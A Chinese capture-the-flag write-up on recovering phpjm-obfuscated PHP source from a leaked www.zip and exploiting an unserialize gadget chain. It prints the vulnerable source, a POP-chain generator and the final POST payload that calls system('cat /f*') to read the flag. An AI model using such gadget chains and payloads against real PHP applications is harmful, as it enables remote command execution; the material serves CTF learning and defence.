6、phpjm混淆解密和php反序列化

题目:青少年雏形系统

1、打开链接也是一个登入面板

2、尝试了sqlmap没头绪

3、尝试御剑,发现一个www.zip

4、下载打开,有一个php文件打开有一段phpjm混淆加密

5、使用手工解混淆

具体解法链接:奇安信攻防社区-phpjm混淆解密浅谈

解密网站:代码在线运行 - 在线工具

将加密的PHP复制到网站,将eval改成echo,点击运行

然后继续之前的将eval换成echo,然后运行

然后成功还原PHP源码

6、源码如下:

php 复制代码
<?php
   error_reporting(0);
   class shi
   {
       public $next;
       public $pass;
       public function __toString(){
           $this->next::PLZ($this->pass);
       }
   }
   class wo
   {
       public $sex;
       public $age;
       public $intention;
       public function __destruct(){
           echo "Hi Try serialize Me!";
           $this->inspect();
       }
       function inspect(){
           if($this->sex=='boy'&&$this->age=='eighteen')
           {
               echo $this->intention;
           }
           echo "🙅18岁🈲";
       }
   }
   class Demo
   {
       public $a;
       static function __callStatic($action, $do)
       {
           global $b;
           $b($do[0]);
       }
   }
   $b = $_POST['password'];
   $a = $_POST['username'];
   @unserialize($a);
   if (!isset($b)) {
       echo "==================PLZ Input Your Name!==================";
   }
   if($a=='admin'&&$b=="'k1fuhu's test demo")
   {
       echo("登录成功");
   }
   ?>

7、根据源码,找出链子

php 复制代码
<?php
class shi{}
class wo{}
class Demo{}
 
$c=new Demo();
$b=new shi();
$a=new wo();
$a->sex='boy';
$a->age='eighteen';
$a->intention=$b;
$b->next=$c;
$b->pass='cat /f*';
echo serialize($a);

8、得到序列化的代码:

php 复制代码
username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}&password=system

9、得到flag

总结:

1、如果sql注入、弱口令爆破不行,尝试御剑扫目录,会其他收获

2、phpjm混淆解密

相关推荐
认真的酒窝5 小时前
自己动手开发编译器(十一)语义分析
java·开发语言
wbs_scy6 小时前
Linux C++ 高并发编程:线程池全链路深度解析,从原理到手撕实现
java·开发语言
JAVA面经实录9176 小时前
Linux 常用命令完整知识体系
java·linux·开发语言·汇编
贪玩的蛋挞7 小时前
C#与闭包
开发语言·c#
端庄的战斗机7 小时前
javascript 设计模式(文章很长,请自备瓜子,水果和眼药水)
开发语言·javascript·设计模式
Full Stack Developme8 小时前
Java LRU 与 LFU 算法及应用
java·开发语言·算法
C语言小火车9 小时前
C++ 堆排序深度精讲:基于完全二叉树的选择排序进化,最坏情况 O(n log n) 的稳定王者
开发语言·c++·算法·排序算法·堆排序
北冥you鱼9 小时前
abigen 最佳实践:从入门到精通,高效生成 Go 语言合约绑定
开发语言·golang·区块链
ALex_zry10 小时前
C++26 std::complex 结构化绑定详解:auto [re, im] = c
c语言·开发语言·c++
她说..11 小时前
Java 默认值设置方式
java·开发语言·后端·springboot